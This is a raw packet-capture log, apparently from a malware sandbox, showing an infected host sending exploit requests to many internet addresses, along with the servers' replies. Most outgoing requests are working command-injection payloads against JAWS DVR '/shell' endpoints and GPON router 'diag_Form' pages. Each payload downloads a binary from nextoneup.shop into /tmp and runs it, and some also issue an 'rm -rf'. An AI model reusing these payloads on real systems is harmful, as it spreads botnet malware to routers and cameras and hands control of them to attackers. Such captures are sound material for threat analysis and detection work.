Apr 14, 2024 04:01:33.896478891 CEST	477	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Connection: close Content-Length: 269 Date: Sat, 13 Apr 2024 21:00:52 GMT X-Via: 1.1 C20230328179329 (random:113712 Fikker/Webcache/3.7.2) Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 33 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 3c 2f 68 33 3e 0d 0a 3c 73 6d 61 6c 6c 3e 53 65 72 76 65 72 3a 20 43 32 30 32 33 30 33 32 38 31 37 39 33 32 39 3c 62 72 2f 3e 44 61 74 65 3a 20 32 30 32 34 2d 30 34 2d 31 33 20 32 31 3a 30 30 3a 35 32 3c 62 72 2f 3e 3c 2f 73 6d 61 6c 6c 3e 3c 68 72 2f 3e 0d 0a 3c 73 6d 61 6c 6c 3e 46 69 6b 6b 65 72 2f 57 65 62 63 61 63 68 65 2f 33 2e 37 2e 32 3c 2f 73 6d 61 6c 6c 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h3>400 Bad Request - Invalid Host</h3><small>Server: C20230328179329<br/>Date: 2024-04-13 21:00:52<br/></small><hr/><small>Fikker/Webcache/3.7.2</small></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1664	192.168.2.23	54794	87.235.89.122	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:33.569741011 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:33.908499002 CEST	758	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 14 Apr 2024 02:01:40 GMT Content-Type: text/html Content-Length: 513 Last-Modified: Thu, 04 Apr 2024 16:01:01 GMT Connection: keep-alive Keep-Alive: timeout=20 Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 68 74 74 70 22 20 6e 61 6d 65 3d 22 68 74 74 70 22 20 76 61 6c 75 65 3d 22 35 30 30 30 22 3e 0a 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 68 74 74 70 73 22 20 6e 61 6d 65 3d 22 68 74 74 70 73 22 20 76 61 6c 75 65 3d 22 35 30 30 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 70 72 65 66 65 72 5f 68 74 74 70 73 22 20 6e 61 6d 65 3d 22 70 72 65 66 65 72 5f 68 74 74 70 73 22 20 76 61 6c 75 65 3d 22 66 61 6c 73 65 22 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 76 61 72 20 70 72 6f 74 6f 63 6f 6c 3d 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 70 6f 72 74 3d 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 20 3d 3d 3d 20 22 68 74 74 70 73 3a 22 20 3f 20 35 30 30 31 20 3a 20 35 30 30 30 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 55 52 4c 3d 70 72 6f 74 6f 63 6f 6c 2b 22 2f 2f 22 2b 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2b 22 3a 22 2b 70 6f 72 74 2b 22 2f 22 3b 0a 20 20 20 20 20 20 20 20 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 55 52 4c 29 3b 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html> <body> <input type="hidden" id="http" name="http" value="5000"> <input type="hidden" id="https" name="https" value="5001"> <input type="hidden" id="prefer_https" name="prefer_https" value="false"> </body> <script type="text/javascript"> var protocol=location.protocol; var port=location.protocol === "https:" ? 5001 : 5000; var URL=protocol+"//"+location.hostname+":"+port+"/"; location.replace(URL); </script></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1665	192.168.2.23	42702	42.2.209.80	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:33.780620098 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1666	192.168.2.23	48456	212.67.146.14	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:33.780662060 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1667	192.168.2.23	36492	118.167.58.183	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:33.780690908 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1668	192.168.2.23	46672	2.103.110.238	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:33.780715942 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1669	192.168.2.23	42512	94.190.199.150	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:33.780762911 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1670	192.168.2.23	36806	210.106.16.122	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:33.780824900 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1671	192.168.2.23	42778	37.40.40.152	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:33.780852079 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1672	192.168.2.23	55426	109.207.252.168	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:33.780903101 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1673	192.168.2.23	58990	210.211.106.165	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:33.780929089 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1674	192.168.2.23	52558	114.46.137.42	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:33.845477104 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:34.152726889 CEST	260	IN	HTTP/1.0 404 Not Found Server: httpd Date: Sun, 14 Apr 2024 02:01:34 GMT Content-Type: text/html Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 34 3e 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>404 Not Found</H4>File not found.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1675	192.168.2.23	36046	81.232.175.173	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:33.865564108 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:34.274691105 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:34.594997883 CEST	338	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Sun, 14 Apr 2024 02:01:34 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1676	192.168.2.23	55320	109.73.246.27	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:34.027169943 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:34.412774086 CEST	212	IN	HTTP/1.1 302 Found Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 0 Date: Fri, 17 Jun 2022 17:00:07 GMT Server: lighttpd/1.4.54

Session ID	Source IP	Source Port	Destination IP	Destination Port
1677	192.168.2.23	52594	114.46.137.42	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:34.463550091 CEST	268	IN	HTTP/1.0 400 Bad Request Server: httpd Date: Sun, 14 Apr 2024 02:01:34 GMT Content-Type: text/html Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 34 3e 0a 4e 6f 20 72 65 71 75 65 73 74 20 66 6f 75 6e 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>400 Bad Request</H4>No request found.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1678	192.168.2.23	52086	95.100.225.4	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:35.757333994 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:36.083250046 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:01:35 GMT Date: Sun, 14 Apr 2024 02:01:35 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 30 37 65 31 39 62 38 26 23 34 36 3b 31 37 31 33 30 36 30 30 39 35 26 23 34 36 3b 34 38 36 33 61 34 61 31 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 35 30 37 65 31 39 62 38 26 23 34 36 3b 31 37 31 33 30 36 30 30 39 35 26 23 34 36 3b 34 38 36 33 61 34 61 31 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.507e19b8.1713060095.4863a4a1<P>https://errors.edgesuite.net/9.507e19b8.1713060095.4863a4a1</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1679	192.168.2.23	34364	4.198.159.130	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:35.773232937 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1680	192.168.2.23	45070	105.72.57.17	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:35.800116062 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:36.180886984 CEST	1289	IN	HTTP/1.1 404 Not Found Server: ZTE web server 1.0 ZTE corp 2015. Accept-Ranges: bytes Connection: close X-Frame-Options: SAMEORIGIN Content-Type: text/html; charset=iso-8859-1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Security-Policy: frame-ancestors 'self' data: Cache-Control: no-cache,no-store Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 46 46 46 46 46 46 22 20 74 65 78 74 3d 22 23 30 30 30 30 30 30 22 20 6c 69 6e 6b 3d 22 23 32 30 32 30 66 66 22 20 76 6c 69 6e 6b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0a 3c 73 70 61 6e 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 73 70 61 6e 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e 0a 3c 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 78 6d 6c 5f 72 6f 6f 74 3e 0a 3c 49 46 5f 45 52 52 4f 52 53 54 52 3e 53 65 73 73 69 6f 6e 54 69 6d 65 6f 75 74 3c 2f 49 46 5f 45 52 52 4f 52 53 54 52 3e 0a 3c 49 46 5f 45 52 52 4f 52 50 41 52 41 4d 3e 53 55 43 43 3c 2f 49 46 5f 45 52 52 4f 52 50 41 52 41 4d 3e 0a 3c 49 46 5f 45 52 52 4f 52 54 59 50 45 3e 53 55 43 43 3c 2f 49 46 5f 45 52 52 4f 52 54 59 50 45 3e 0a 3c 2f 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 78 6d 6c 5f 72 6f 6f 74 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 Data Ascii: <html> <head><title>404 Not Found</title></head> <body bgcolor="#FFFFFF" text="#000000" link="#2020ff" vlink="#4040cc"> <h2>404 Not Found</h2><span>The requested URL was not found on this server.</span><div style="display:none"><ajax_response_xml_root><IF_ERRORSTR>SessionTimeout</IF_ERRORSTR><IF_ERRORPARAM>SUCC</IF_ERRORPARAM><IF_ERRORTYPE>SUCC</IF_ERRORTYPE></ajax_response_xml_root><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</sp
